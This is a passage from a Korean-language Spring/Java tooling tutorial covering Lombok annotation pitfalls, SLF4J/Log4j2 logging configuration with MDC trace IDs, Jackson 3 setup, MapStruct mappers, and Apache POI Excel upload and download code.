읽는 법: “빌더 투빌더 트루”, “빌더 닷 디폴트”. toBuilder 는 기존 객체를 복사한 빌더를, Default 는 빌더에서 안 부른 필드의 기본값을 살려 줍니다.

@Builder(toBuilder = true)
public class Coupon {
    private final String code;
    @Builder.Default
    private final int rate = 10;
}

// ↓ 생성되는 코드 (요약)
public static class CouponBuilder {
    private String code;
    private boolean rate$set;     // 불렀는지 기억
    private int rate$value;
    public CouponBuilder rate(int rate) {
        this.rate$value = rate; this.rate$set = true; return this;
    }
    public Coupon build() {
        int rate = this.rate$value;
        if (!this.rate$set) rate = Coupon.$default$rate();  // ← 기본값 10
        return new Coupon(this.code, rate);
    }
}
public CouponBuilder toBuilder() {
    return new CouponBuilder().code(this.code).rate(this.rate);
}
빌더 체인 — 값은 빌더에 모였다가 build() 에서 한 번에 생성자로 넘어갑니다 builder() 빈 빌더 생성 .name(..) 빌더 필드에 저장 .qty(3) 같은 방식 반복 .build() 빠진 값 Default Order 올아그 생성자 여기까지는 Order 가 아직 없습니다 — 빌더 객체만 있습니다 final 이 아닌 필드는 @Builder.Default 가 없으면 초기값(= 10) 대신 0 이 됩니다
빌더 파이프라인 — build() 가 유일한 생성 지점이라 기본값 처리도 여기서 일어납니다.

⑤ @Builder + @NoArgsConstructor + @AllArgsConstructor — 왜 셋을 같이 붙이나

@Builder 를 클래스에 붙이면 롬복은 “다른 생성자가 하나도 없을 때만” 올아그 생성자를 몰래 만들어 씁니다. 그런데 JPA·Jackson 때문에 @NoArgsConstructor 를 붙이는 순간 생성자가 생겼으니 올아그 생성자를 만들지 않고, 빌더의 build() 가 부를 생성자가 없어 컴파일 오류가 납니다. 그래서 @AllArgsConstructor 를 명시해 빌더 전용 생성자를 돌려놓는 것이고, 바깥에서 못 쓰게 access = AccessLevel.PRIVATE 로 숨깁니다.

컴파일 오류
@Builder
@NoArgsConstructor
public class OrderDto {
    private Long id;
    private String name;
}
// error: constructor OrderDto in class OrderDto
//        cannot be applied to given types;
//   required: no arguments
//   found:    Long,String
세 개를 같이 — 또는 생성자에 @Builder
// DTO: 셋을 같이
@Getter
@Builder
@NoArgsConstructor
@AllArgsConstructor(access = AccessLevel.PRIVATE)
public class OrderDto { ... }

// 엔티티: 빌더가 받을 필드를 직접 고른다 (권장)
@Entity @Getter
@NoArgsConstructor(access = AccessLevel.PROTECTED)
public class Order {
    @Id @GeneratedValue private Long id;
    private String name;
    private int qty;

    @Builder
    private Order(String name, int qty) {   // id 는 빌더에 안 나옴
        this.name = name;
        this.qty = qty;
    }
}
엔티티는 생성자에 @Builder — 클래스에 붙이면 id·createdAt·연관 컬렉션까지 빌더에 열려 Order.builder().id(99L) 같은 위험한 코드가 가능해집니다. 생성자 레벨 @Builder 는 받을 값을 직접 고르는 방법입니다.

스프링 생성자 주입 — @RequiredArgsConstructor + private final 🟡 중급

스프링 빈은 필드를 전부 private final 로 두고 클래스에 @RequiredArgsConstructor 하나만 붙이는 것이 현업 표준입니다. final 이라 주입 후 바뀌지 않고, 생성자가 하나라 @Autowired 가 필요 없고, 테스트에서 new OrderService(fakeRepo, fakeNotifier) 로 바로 만들 수 있습니다. 필드 주입(@Autowired private ...)은 final 을 못 쓰고 순환 참조를 늦게 발견하게 만듭니다.

함정 — @Qualifier 가 생성자로 안 넘어간다

@Service
@RequiredArgsConstructor
public class PayService {
    @Qualifier("tossClient")              // 필드에만 붙어 있음
    private final PayClient payClient;    // PayClient 빈이 둘이라면?
}

// ↓ 롬복이 만든 생성자 — @Qualifier 가 없다
public PayService(PayClient payClient) {
    this.payClient = payClient;
}
// 기동 실패:
// NoUniqueBeanDefinitionException: expected single matching bean
//   but found 2: tossClient,kakaoClient

해결 — lombok.config 에 복사 대상 등록

# 프로젝트 루트(또는 src/main/java)의 lombok.config
lombok.copyableAnnotations += org.springframework.beans.factory.annotation.Qualifier
lombok.copyableAnnotations += org.springframework.beans.factory.annotation.Value
// ↓ 등록 후 생성되는 코드
public PayService(@Qualifier("tossClient") PayClient payClient) {
    this.payClient = payClient;
}
copyableAnnotations(카피어블 어노테이션스) — 필드에 붙은 어노테이션을 생성자 파라미터·세터로 복사해 줄 목록입니다. 롬복 기본 목록은 null 관련 어노테이션 위주라 스프링 @Qualifier·@Value 는 직접 넣어야 합니다. 설정을 바꾼 뒤에는 클린 빌드(./gradlew clean build)를 해야 반영됩니다.
config 없이 넘어가는 방법 — 생성자를 직접 쓰고 파라미터에 @Qualifier 를 붙이거나, 필드 이름을 빈 이름과 같게(private final PayClient tossClient;) 지어 스프링의 이름 매칭에 기대는 방법도 있습니다. 다만 이름 매칭은 리네임 한 번에 조용히 깨지므로 config 등록이 가장 안전합니다.

엔티티에서 피할 것 — @Data · @Setter · @EqualsAndHashCode · @ToString 🟡 중급

어노테이션 (읽는 법)엔티티에서 무슨 일이대신 이렇게
@Data
데이터
Getter·Setter·RequiredArgs·ToString·EqualsAndHashCode 를 한꺼번에 — 아래 문제가 전부 따라옴@Getter 만 + 필요한 것만 골라 붙임
@Setter
세터
어디서든 order.setStatus(PAID) — 결제 검증 같은 도메인 규칙 우회, 변경 지점 추적 불가order.pay() 같은 의도가 드러나는 메서드
@EqualsAndHashCode
이퀄스 앤 해시코드
전체 필드 비교 → 연관 필드 접근 시 지연 로딩 발동·LazyInitializationException, 값이 바뀌면 hashCode 가 바뀌어 HashSet 에서 못 찾음onlyExplicitlyIncluded = true + id 에만 @EqualsAndHashCode.Include
@ToString
투스트링
Order → items → Order → … 순환 참조로 StackOverflowError, 로그 한 줄에 쿼리 수십 개연관 필드에 @ToString.Exclude
@Data 엔티티
@Entity
@Data                      // 💥 전부 열림
public class Order {
    @Id @GeneratedValue
    private Long id;
    private OrderStatus status;

    @OneToMany(mappedBy = "order")
    private List<OrderItem> items;   // toString·equals 가 여기까지 따라감
}

log.info("주문 {}", order);
// → items 지연 로딩 쿼리 → OrderItem.toString → order.toString → ...
// → StackOverflowError
필요한 것만 골라서
@Entity
@Getter
@NoArgsConstructor(access = AccessLevel.PROTECTED)
@EqualsAndHashCode(onlyExplicitlyIncluded = true)
@ToString
public class Order {
    @Id @GeneratedValue
    @EqualsAndHashCode.Include         // id 만 비교
    private Long id;
    private OrderStatus status;

    @OneToMany(mappedBy = "order")
    @ToString.Exclude                  // 순환 차단
    private List<OrderItem> items = new ArrayList<>();

    public void pay() {                // setter 대신 의도 메서드
        if (status != OrderStatus.CREATED) throw new IllegalStateException();
        this.status = OrderStatus.PAID;
    }
}
id 기준 equals 의 남은 함정 — 저장 전 엔티티는 id == null 이라 새 엔티티 두 개가 서로 같다고 판정됩니다. 저장 전 엔티티를 Set 에 담지 않는 규칙을 두거나, 엄밀함이 필요하면 equals/hashCode 를 직접 작성합니다(id 가 null 이면 false, hashCode 는 getClass().hashCode() 고정). 기존 코드의 @EqualsAndHashCode(of = "id") 도 같은 뜻이지만, 롬복 문서는 onlyExplicitlyIncluded 방식을 권장합니다.

@Value vs record — 언제 무엇을 🟡 중급

롬복의 @Value(밸류 — 스프링의 @Value("${...}") 와 이름만 같고 전혀 다른 것)는 클래스를 final, 필드를 private final 로 만들고 getter·equals·hashCode·toString·올아그 생성자를 붙입니다. 자바 16 부터 언어에 들어온 record(레코드)가 같은 일을 문법으로 합니다.

비교@Value (롬복)record (자바 16+)
접근자 이름getAmount()amount()
상속final 클래스 — 다른 클래스를 상속은 가능상속 불가(java.lang.Record 고정), 인터페이스 구현만
검증직접 생성자를 써야 함콤팩트 생성자로 짧게
빌더 · 복사@Builder · @With롬복 @Builder·@With 를 record 에도 붙일 수 있음
의존성롬복 필요없음 — IDE·도구 지원이 가장 좋음
JPA 엔티티불가(기본 생성자·변경 불가)불가 — DTO·임베디드 값으로만

새 코드 — record

public record Money(long amount, String currency) {
    public Money {                       // 콤팩트 생성자
        if (amount < 0) throw new IllegalArgumentException("음수 금액");
        Objects.requireNonNull(currency);
    }
}
Money m = new Money(1000, "KRW");
m.amount();                              // getAmount() 아님

@Value 가 여전히 나은 경우

@Value
@Builder
public class LegacyRes {       // getXxx() 규칙을 기대하는 라이브러리·JSP EL
    String code;               // @Value 가 private final 을 붙여 줌
    String message;
}
// ↓ 생성: private final String code; public String getCode() ...
기준 — 자바 17 이상 새 코드의 DTO·값 객체는 record. getXxx() 이름이 꼭 필요하거나(구형 프레임워크·BeanUtils), 자바 11 이하 프로젝트면 @Value.

lombok.config 기본 세트 · 델롬복으로 생성 코드 보기 🟡 중급

프로젝트 루트 lombok.config — 실무 기본값

# 상위 폴더의 config 를 더 찾아 올라가지 않음
config.stopBubbling = true

# 생성 코드에 @lombok.Generated → JaCoCo 커버리지에서 제외
lombok.addLombokGeneratedAnnotation = true

# 스프링 어노테이션을 생성자 파라미터로 복사
lombok.copyableAnnotations += org.springframework.beans.factory.annotation.Qualifier
lombok.copyableAnnotations += org.springframework.beans.factory.annotation.Value

# 상속 클래스에 @EqualsAndHashCode 를 붙이면 super 를 부를지 경고
lombok.equalsAndHashCode.callSuper = warn

# 팀 규칙으로 막고 싶은 것에 경고(또는 error)
lombok.data.flagUsage = warning
lombok.sneakyThrows.flagUsage = warning
위치 — lombok.config 는 해당 폴더와 하위 패키지 전체에 적용됩니다. 멀티 모듈이면 루트에 하나 두고 config.stopBubbling = true 로 끝을 막습니다. @SneakyThrows(스니키 스로우즈)는 checked 예외를 선언 없이 던지게 해 호출부가 예외를 모르게 되므로 경고 대상에 넣는 팀이 많습니다.

델롬복 — 롬복이 실제로 뭘 만들었나

IntelliJ: 클래스나 어노테이션에 커서 → Refactor → Delombok → 전체 또는 특정 어노테이션 선택. 롬복 어노테이션이 사라지고 생성된 자바 코드가 그 자리에 펼쳐집니다. 보기만 하고 되돌리기(Ctrl+Z)가 기본 사용법입니다.

펼치지 않고 보려면 Structure 창(Alt+7)에서 생성된 생성자·메서드 목록을 확인합니다.

# 컴파일된 결과를 직접 확인 — private 멤버까지
javap -p build/classes/java/main/com/example/Order.class

# Gradle 로 소스 전체 델롬복 (io.freefair.lombok 플러그인)
./gradlew delombok      # build/delombok/ 에 펼친 소스
언제 보나 — 생성자 인자 순서가 의심될 때, @Builder.Default 가 먹었는지, @Qualifier 가 생성자로 복사됐는지 확인할 때. 추측하지 말고 펼쳐 보는 것이 가장 빠릅니다.

읽는 법 모음 — 회의에서 이렇게 부릅니다

어노테이션읽는 법현업에서 줄여 부르는 말
@NoArgsConstructor노 아그스 컨스트럭터노아그 · 기본 생성자
@RequiredArgsConstructor리콰이어드 아그스 컨스트럭터리콰이어드 · 리콰이어드 생성자
@AllArgsConstructor올 아그스 컨스트럭터올아그 · 전체 생성자
@Builder / @Builder.Default빌더 / 빌더 닷 디폴트빌더 · 빌더 디폴트
@Value밸류롬복 밸류 (스프링 @Value 와 구분)
@Data데이터“데이터 붙이지 마세요”
@EqualsAndHashCode이퀄스 앤 해시코드이퀄스 해시코드
@ToString.Exclude투스트링 닷 익스클루드투스트링 제외
@Slf4j에스엘에프포제이로거 · 로그 어노테이션
@SneakyThrows스니키 스로우즈스니키
@With위드위더 — withXxx 복사 메서드
@Accessors(chain = true)액세서스 체인 트루체인 세터
정리 — 스프링 빈은 @RequiredArgsConstructor + private final, 엔티티는 @Getter + @NoArgsConstructor(access = PROTECTED) + 생성자 레벨 @Builder, DTO 는 record. 헷갈리면 델롬복으로 펼쳐 보면 됩니다.
TOOL 02

로깅 — SLF4J · Log4j2

운영에서 문제가 생겼을 때 남아 있는 로그가 전부입니다. 여기 투자한 시간은 반드시 돌아옵니다.

구조 — SLF4J 는 껍데기, 구현은 갈아끼움

API
SLF4J코드는 항상 이것만 씁니다. org.slf4j.Logger
▼ 실제 구현
기본
Logback스프링 부트 기본값. 대부분 이걸로 충분합니다.
대안
Log4j2비동기 로깅이 강력. 로그량이 매우 많을 때 유리합니다.
// ❌ 문자열을 미리 조립하면 낭비 (DEBUG 가 꺼져 있어도 계산됨)
log.debug("주문 조회: " + orderId + ", 사용자: " + userId);

// ✅ 플레이스홀더 — 실제로 출력할 때만 조립됩니다
log.debug("주문 조회: {}, 사용자: {}", orderId, userId);

// 예외는 마지막 인자로 (스택 트레이스가 남습니다) ★
log.error("결제 실패 orderId={}", orderId, e);

// ❌ 절대 금지
e.printStackTrace();          // 로그 시스템을 안 타서 운영에서 안 보임

Log4j2 로 교체하기

configurations {
    all { exclude group: "org.springframework.boot",
                  module: "spring-boot-starter-logging" }   // logback 제거
}
dependencies {
    implementation("org.springframework.boot:spring-boot-starter-log4j2")
    // 비동기 로깅용 (선택)
    implementation("com.lmax:disruptor:4.0.0")
}
<!-- src/main/resources/log4j2-spring.xml -->
<Configuration status="WARN">
  <Properties>
    <Property name="PATTERN">
      %d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} [%X{traceId}] - %msg%n
    </Property>
  </Properties>

  <Appenders>
    <Console name="Console" target="SYSTEM_OUT">
      <PatternLayout pattern="${PATTERN}"/>
    </Console>

    <!-- 날짜별 롤링 + 용량 제한 -->
    <RollingFile name="File" fileName="logs/app.log"
                 filePattern="logs/app-%d{yyyy-MM-dd}-%i.log.gz">
      <PatternLayout pattern="${PATTERN}"/>
      <Policies>
        <TimeBasedTriggeringPolicy/>
        <SizeBasedTriggeringPolicy size="100MB"/>
      </Policies>
      <!-- max 는 "하루 안에서 %i 번호 상한" 입니다 — 전체 보관 개수가 아닙니다.
           보관 기간은 아래 Delete 가 정합니다 -->
      <DefaultRolloverStrategy max="30">
        <Delete basePath="logs" maxDepth="1">
          <IfFileName glob="app-*.log.gz"/>   <!-- 없으면 logs 안의 다른 파일까지 지웁니다 -->
          <IfLastModified age="30d"/>
        </Delete>
      </DefaultRolloverStrategy>
    </RollingFile>
  </Appenders>

  <Loggers>
    <!-- 비동기 로거 — 처리량이 크게 올라갑니다 -->
    <AsyncLogger name="com.myapp" level="DEBUG" additivity="false">
      <AppenderRef ref="Console"/>
      <AppenderRef ref="File"/>
    </AsyncLogger>
    <Root level="INFO">
      <AppenderRef ref="Console"/>
      <AppenderRef ref="File"/>
    </Root>
  </Loggers>
</Configuration>

MDC — 요청 추적 ID 심기 ★

@Component
public class MdcFilter extends OncePerRequestFilter {

    @Override
    protected void doFilterInternal(HttpServletRequest req, HttpServletResponse res,
                                    FilterChain chain) throws ServletException, IOException {
        String traceId = Optional.ofNullable(req.getHeader("X-Trace-Id"))
                .orElse(UUID.randomUUID().toString().substring(0, 8));
        try {
            MDC.put("traceId", traceId);
            res.setHeader("X-Trace-Id", traceId);       // 응답에도 실어 보냄
            chain.doFilter(req, res);
        } finally {
            MDC.clear();          // ★ 반드시 정리 (스레드 풀은 재사용됩니다)
        }
    }
}
// 패턴에 %X{traceId} 를 넣으면 모든 로그에 자동으로 찍힙니다
// → 사용자 문의가 오면 traceId 하나로 전 구간 검색 가능

로그 레벨과 원칙

레벨언제
ERROR즉시 조치가 필요한 것. 알림이 울려야 하는 것만
WARN예상한 실패 (검증 실패, 재시도)
INFO주요 흐름 (주문 생성, 결제 완료)
DEBUG개발용 상세 — 운영에서는 끄기
  • 비밀번호·토큰·주민번호를 절대 찍지 마세요 — 로그도 유출 경로입니다
  • 운영은 INFO, 문제 생기면 Actuator 로 재시작 없이 DEBUG 전환
  • JSON 포맷으로 남기면 ELK·Loki 에서 검색이 훨씬 쉽습니다
  • 반복문 안에서 건마다 로그를 찍지 마세요 — 디스크가 찹니다
SLF4J 는 인터페이스, 기록은 구현이 합니다 내 코드 log.info(...) 만 부릅니다 SLF4J (인터페이스) 누가 기록할지는 모릅니다 Logback (부트 기본) Log4j2 라이브러리를 만든다면 인터페이스만 의존하고 구현은 넣지 마세요 — 쓰는 쪽이 자기 구현을 고를 수 있어야 합니다 구현이 둘 이상 들어가면 경고가 뜨고 하나만 선택됩니다 — 중복 의존성을 정리하세요 문자열을 미리 이어 붙이지 마세요 — log.debug("값 {}", v) 로 쓰면 꺼져 있을 때 비용이 없습니다 MDC 에 요청 ID 를 넣어 두면 그 요청의 모든 로그를 한 번에 모아 볼 수 있습니다 운영에서는 JSON 형식으로 남기세요 — 수집기에서 필드로 검색할 수 있게 됩니다
로깅 설정이 꼬였을 때는 클래스패스에 구현이 몇 개인지부터 보세요.
TOOL 03

Jackson — JSON 다루기

스프링 부트에 이미 들어 있습니다. 직접 쓸 일도 자주 생깁니다.

Boot 4 의 기본은 Jackson 3 입니다. groupId 가 com.fasterxml → tools.jackson, ObjectMapper → 불변 JsonMapper, @JsonComponent → @JacksonComponent, Jackson2ObjectMapperBuilderCustomizer → JsonMapperBuilderCustomizer.
애노테이션(@JsonProperty·@JsonIgnore·@JsonFormat 등)은 com.fasterxml.jackson.annotation 에 그대로 남습니다 — 그쪽 import 는 안 고쳐도 됩니다.
당장 못 옮기겠다면 spring.jackson.use-jackson2-defaults=true 로 Jackson 2 동작을 유지할 수 있습니다.
// import tools.jackson.databind.json.JsonMapper;
@Configuration
public class JacksonConfig {
    @Bean
    public JsonMapper jsonMapper() {
        // Jackson 3 는 java.time 지원이 내장이라 JavaTimeModule 등록이 필요 없고,
        // 날짜도 기본이 숫자 타임스탬프가 아니라 ISO-8601 문자열입니다
        return JsonMapper.builder()
                .disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES) // 모르는 필드 무시
                .changeDefaultPropertyInclusion(                            // null 필드 생략
                        incl -> incl.withValueInclusion(JsonInclude.Include.NON_NULL))
                .build();
    }
}

// 객체 ↔ JSON
String json = mapper.writeValueAsString(order);
Order order = mapper.readValue(json, Order.class);

// 제네릭 타입은 TypeReference 로
List<Order> list = mapper.readValue(json, new TypeReference<List<Order>>() {});
Map<String, Object> map = mapper.readValue(json, new TypeReference<>() {});

// 트리 모델 — 구조를 모를 때
JsonNode root = mapper.readTree(json);
String name = root.path("user").path("name").asString();   // Jackson 2 의 asText()
int count = root.path("items").size();
for (JsonNode item : root.path("items")) { ... }

자주 쓰는 애너테이션

public class OrderDto {

    @JsonProperty("order_no")            // JSON 키 이름
    private String orderNo;

    @JsonIgnore                          // 직렬화·역직렬화 모두 제외
    private String internalMemo;

    @JsonInclude(JsonInclude.Include.NON_NULL)
    private String nickname;

    @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "Asia/Seoul")
    private LocalDateTime createdAt;

    @JsonSerialize(using = MoneySerializer.class)
    private BigDecimal amount;

    @JsonAlias({"user_id", "userId", "uid"})   // 여러 이름을 다 받기
    private Long userId;
}

// 클래스 단위
@JsonIgnoreProperties(ignoreUnknown = true)   // 모르는 필드 무시
@JsonNaming(PropertyNamingStrategies.SnakeCaseStrategy.class)
public class Res { }

// record 는 그냥 됩니다 (별도 설정 불필요)
public record UserRes(Long id, String name) { }
외부 API 응답을 받을 때는 FAIL_ON_UNKNOWN_PROPERTIES 를 꺼 두세요. 상대가 필드를 하나 추가하는 순간 우리 서비스가 전부 500이 됩니다.
Jackson — 오갈 때 무엇을 보는가 객체 → JSON (직렬화) 게터를 보고 필드 이름을 정합니다 JSON → 객체 (역직렬화) 기본 생성자 + 세터, 또는 생성자 자주 만나는 세 가지 모르는 필드가 오면 예외 — 외부 API 응답을 받을 때는 무시하도록 설정하세요 날짜 타입 — java.time 모듈을 등록하고 타임스탬프 대신 문자열로 쓸지 정하세요 양방향 연관 — 서로를 참조하면 무한 반복이 됩니다. 한쪽을 제외하거나 DTO 로 변환하세요 엔티티를 그대로 JSON 으로 내보내지 마세요 — 지연 로딩과 순환 참조가 함께 따라옵니다 record 를 DTO 로 쓰면 생성자 기반으로 잘 동작합니다 — 요즘 가장 무난한 조합입니다 필드 이름 규칙이 다르면 @JsonProperty 나 전략 설정으로 한 번에 맞추세요
JSON 오류의 대부분은 이름이 안 맞거나 생성자가 없어서입니다.
TOOL 04

MapStruct — DTO 변환

엔티티 ↔ DTO 변환 코드를 컴파일 시점에 생성합니다. 리플렉션이 없어 빠릅니다.

implementation("org.mapstruct:mapstruct:1.6.3") · annotationProcessor("org.mapstruct:mapstruct-processor:1.6.3")
⚠️ Lombok 과 함께 쓰면 annotationProcessor("org.projectlombok:lombok-mapstruct-binding:0.2.0") 도 필요합니다.
@Mapper(componentModel = "spring",              // 스프링 빈으로 등록
        unmappedTargetPolicy = ReportingPolicy.ERROR)   // 빠뜨린 필드는 컴파일 에러 ★
public interface OrderMapper {

    // 이름이 같으면 자동 매핑
    OrderRes toRes(Order order);

    // 이름이 다르거나 중첩된 값
    @Mapping(target = "userName", source = "user.name")
    @Mapping(target = "totalAmount", expression = "java(order.calcTotal())")
    @Mapping(target = "status", source = "status", qualifiedByName = "statusLabel")
    OrderDetailRes toDetail(Order order);

    List<OrderRes> toResList(List<Order> orders);   // 컬렉션도 자동

    // 기존 객체에 덮어쓰기 (부분 수정)
    // 대상에 세터가 있어야 하고, ERROR 정책이라 req 에 없는 대상 필드는 무시를 명시해야 컴파일됩니다
    @Mapping(target = "id", ignore = true)
    @BeanMapping(nullValuePropertyMappingStrategy = NullValuePropertyMappingStrategy.IGNORE)
    void update(@MappingTarget Order target, OrderUpdateReq req);

    @Named("statusLabel")
    static String statusLabel(OrderStatus s) { return s.label(); }
}

// 사용 — 그냥 주입해서 씁니다
@Service
@RequiredArgsConstructor
public class OrderService {
    private final OrderMapper mapper;

    public OrderRes get(Long id) {
        return mapper.toRes(repository.findById(id).orElseThrow());
    }
}

쓸까 말까

방법장단점
정적 팩토리
OrderRes.from(o)
의존성 0, 명시적. DTO 가 적으면 이게 제일 낫습니다
MapStruct 필드가 많을 때 편함. 빠뜨린 필드를 컴파일 에러로 잡아 줌
ModelMapper 런타임 리플렉션 — 느리고 오류가 늦게 발견됨. 권하지 않습니다
솔직한 기준 — DTO 필드가 5개 이하면 record 의 정적 팩토리(from())가 더 읽기 쉽습니다. 필드가 20개 넘는 대형 DTO 가 여러 개일 때 MapStruct 의 가치가 나옵니다.
변환 코드를 손으로 쓰지 않습니다 — 컴파일 때 생성됩니다 Entity id · name · createdAt password (내부용) @Mapper 인터페이스 UserDto toDto(User u); 선언만 적습니다 생성된 구현체 dto.setName(u.getName()) 평범한 자바 코드입니다 얻는 것 리플렉션을 쓰지 않아 손으로 쓴 것과 같은 속도 필드를 추가했는데 매핑이 없으면 컴파일 경고로 알려 줍니다 이름이 다를 때 @Mapping(source="name", target="userName") 무시할 필드는 ignore = true 로 명시합니다 DTO 를 나누는 이유는 성능이 아니라 노출 범위를 정하기 위해서입니다 — 엔티티를 그대로 응답하면 내부 필드가 새어 나갑니다 양이 적다면 record 와 생성자 한 줄로 충분합니다 — 도구는 필드가 많아질 때 값을 합니다
엔티티를 그대로 내보내지 않는 습관이 API 를 지킵니다.
선이 그어진 필드만 밖으로 나갑니다 — 선이 없는 필드는 응답에 실리지 않습니다 User — 엔티티 UserRes — 응답 DTO id name email password createdAt orders (지연 로딩) id userName email joinedAt 이름이 같으면 자동 @Mapping 이름 바꿈 createdAt → joinedAt 선 없음 — 응답에 안 나감 선 없음 — 내보내면 N+1 · 순환 참조 엔티티를 그대로 응답하면 붉은 두 줄도 함께 나갑니다 — DTO 가 노출 범위를 정합니다 unmappedTargetPolicy = ERROR 면 DTO 필드에 짝이 없을 때 컴파일이 멈춥니다
엔티티를 그대로 내보내지 않는 습관이 API 를 지킵니다.
TOOL 05

엑셀 읽기 — Apache POI

“이 엑셀 파일 업로드하면 DB 에 넣어 주세요” — 가장 많이 받는 요청입니다.

implementation("org.apache.poi:poi-ooxml:5.5.1")
· .xlsx → XSSF (poi-ooxml) · .xls → HSSF (poi)
@Service
@Slf4j
public class ExcelReader {

    public List<OrderRow> read(InputStream in) throws IOException {
        List<OrderRow> rows = new ArrayList<>();

        try (Workbook wb = WorkbookFactory.create(in)) {     // xls/xlsx 자동 판별
            Sheet sheet = wb.getSheetAt(0);                   // 또는 wb.getSheet("주문")
            DataFormatter fmt = new DataFormatter();          // 셀을 '보이는 대로' 문자열화

            for (int r = 1; r <= sheet.getLastRowNum(); r++) {   // 1행부터 (0은 헤더)
                Row row = sheet.getRow(r);
                if (row == null || isEmpty(row, fmt)) continue;   // 빈 행 건너뛰기

                try {
                    rows.add(new OrderRow(
                            getString(row, 0, fmt),
                            getInt(row, 1),
                            getDate(row, 2)
                    ));
                } catch (Exception e) {
                    log.warn("{}행 파싱 실패: {}", r + 1, e.getMessage());
                    // 실패한 행 번호를 모아 사용자에게 돌려주면 훨씬 친절합니다
                }
            }
        }
        return rows;
    }

    // ── 셀 읽기 유틸 — 이게 실무의 8할입니다 ──────────────────
    private String getString(Row row, int idx, DataFormatter fmt) {
        Cell cell = row.getCell(idx, Row.MissingCellPolicy.RETURN_BLANK_AS_NULL);
        return cell == null ? null : fmt.formatCellValue(cell).trim();
    }

    private Integer getInt(Row row, int idx) {
        Cell cell = row.getCell(idx);
        if (cell == null) return null;
        return switch (cell.getCellType()) {
            case NUMERIC -> (int) cell.getNumericCellValue();
            case STRING  -> {
                String s = cell.getStringCellValue().replaceAll("[^0-9-]", "");
                yield s.isBlank() ? null : Integer.parseInt(s);
            }
            case FORMULA -> (int) cell.getNumericCellValue();
            default      -> null;
        };
    }

    private LocalDate getDate(Row row, int idx) {
        Cell cell = row.getCell(idx);
        if (cell == null) return null;
        // 엑셀 날짜는 내부적으로 '숫자'입니다
        if (cell.getCellType() == CellType.NUMERIC && DateUtil.isCellDateFormatted(cell)) {
            return cell.getLocalDateTimeCellValue().toLocalDate();
        }
        String s = cell.getStringCellValue().trim();
        return s.isBlank() ? null : LocalDate.parse(s.replace("/", "-"));
    }

    private boolean isEmpty(Row row, DataFormatter fmt) {
        for (int c = row.getFirstCellNum(); c < row.getLastCellNum(); c++) {
            Cell cell = row.getCell(c);
            if (cell != null && !fmt.formatCellValue(cell).isBlank()) return false;
        }
        return true;
    }
}

컨트롤러 연결

@PostMapping(value = "/orders/upload",
             consumes = MediaType.MULTIPART_FORM_DATA_VALUE)
public UploadResult upload(@RequestPart("file") MultipartFile file) throws IOException {
    String ext = StringUtils.getFilenameExtension(file.getOriginalFilename());
    // 확장자가 없으면 ext 가 null — List.of(..).contains(null) 은 NPE 이므로 먼저 거릅니다
    if (ext == null || !List.of("xlsx", "xls").contains(ext.toLowerCase())) {
        throw new BadRequestException("엑셀 파일만 업로드할 수 있습니다");
    }
    try (InputStream in = file.getInputStream()) {
        List<OrderRow> rows = excelReader.read(in);
        return orderService.bulkCreate(rows);
    }
}

실무에서 반드시 밟는 함정

  • 빈 셀은 null 이 아니라 객체 자체가 없습니다 — MissingCellPolicy 를 지정하세요
  • 숫자가 문자열로 들어있는 경우가 흔합니다 — DataFormatter 로 통일해서 읽으세요
  • 날짜는 내부적으로 숫자 — DateUtil.isCellDateFormatted() 로 판별
  • 맨 앞 0 이 사라짐(주민번호·상품코드) — 엑셀이 숫자로 인식한 것. 읽은 뒤 zfill 하거나, 업로드 양식에서 텍스트 서식을 안내
  • 마지막 행 이후에도 빈 행이 잡힘 — 빈 행 검사를 꼭 넣으세요
  • 큰 파일은 메모리 폭발 — 다음 07번의 스트리밍 방식으로
TOOL 06

엑셀 쓰기 · 다운로드

“조회 결과를 엑셀로 받고 싶어요” — 이것도 단골 요청입니다.

@Service
public class ExcelWriter {

    private static final String[] HEADERS = {"주문번호", "고객명", "금액", "상태", "주문일"};

    public void write(List<OrderRes> orders, OutputStream out) throws IOException {
        try (Workbook wb = new XSSFWorkbook()) {
            Sheet sheet = wb.createSheet("주문목록");

            // ── 스타일은 반드시 '한 번만' 만들어 재사용 ★ ──────────
            CellStyle headerStyle = headerStyle(wb);
            CellStyle moneyStyle = moneyStyle(wb);
            CellStyle dateStyle = dateStyle(wb);

            // 헤더
            Row header = sheet.createRow(0);
            for (int i = 0; i < HEADERS.length; i++) {
                Cell c = header.createCell(i);
                c.setCellValue(HEADERS[i]);
                c.setCellStyle(headerStyle);
            }

            // 데이터
            int r = 1;
            for (OrderRes o : orders) {
                Row row = sheet.createRow(r++);
                row.createCell(0).setCellValue(o.orderNo());
                row.createCell(1).setCellValue(o.customerName());

                Cell amount = row.createCell(2);
                amount.setCellValue(o.amount());
                amount.setCellStyle(moneyStyle);

                row.createCell(3).setCellValue(o.status().label());

                Cell date = row.createCell(4);
                date.setCellValue(o.createdAt());
                date.setCellStyle(dateStyle);
            }

            // 마무리
            for (int i = 0; i < HEADERS.length; i++) sheet.autoSizeColumn(i);
            sheet.createFreezePane(0, 1);                     // 헤더 고정
            sheet.setAutoFilter(new CellRangeAddress(0, r - 1, 0, HEADERS.length - 1));

            wb.write(out);
        }
    }

    private CellStyle headerStyle(Workbook wb) {
        CellStyle s = wb.createCellStyle();
        Font f = wb.createFont();
        f.setBold(true);
        f.setColor(IndexedColors.WHITE.getIndex());
        s.setFont(f);
        s.setFillForegroundColor(IndexedColors.DARK_BLUE.getIndex());
        s.setFillPattern(FillPatternType.SOLID_FOREGROUND);
        s.setAlignment(HorizontalAlignment.CENTER);
        s.setBorderBottom(BorderStyle.THIN);
        return s;
    }

    private CellStyle moneyStyle(Workbook wb) {
        CellStyle s = wb.createCellStyle();
        s.setDataFormat(wb.createDataFormat().getFormat("#,##0"));
        return s;
    }

    private CellStyle dateStyle(Workbook wb) {
        CellStyle s = wb.createCellStyle();
        s.setDataFormat(wb.createDataFormat().getFormat("yyyy-mm-dd hh:mm"));
        return s;
    }
}

다운로드 컨트롤러

@GetMapping("/orders/excel")
public void download(OrderSearchCond cond, HttpServletResponse res) throws IOException {

    String filename = "주문목록_%s.xlsx"
            .formatted(LocalDate.now().format(DateTimeFormatter.BASIC_ISO_DATE));
    String encoded = URLEncoder.encode(filename, StandardCharsets.UTF_8)
            .replace("+", "%20");                    // ★ 공백이 + 로 바뀌는 것 방지

    res.setContentType(
        "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet");
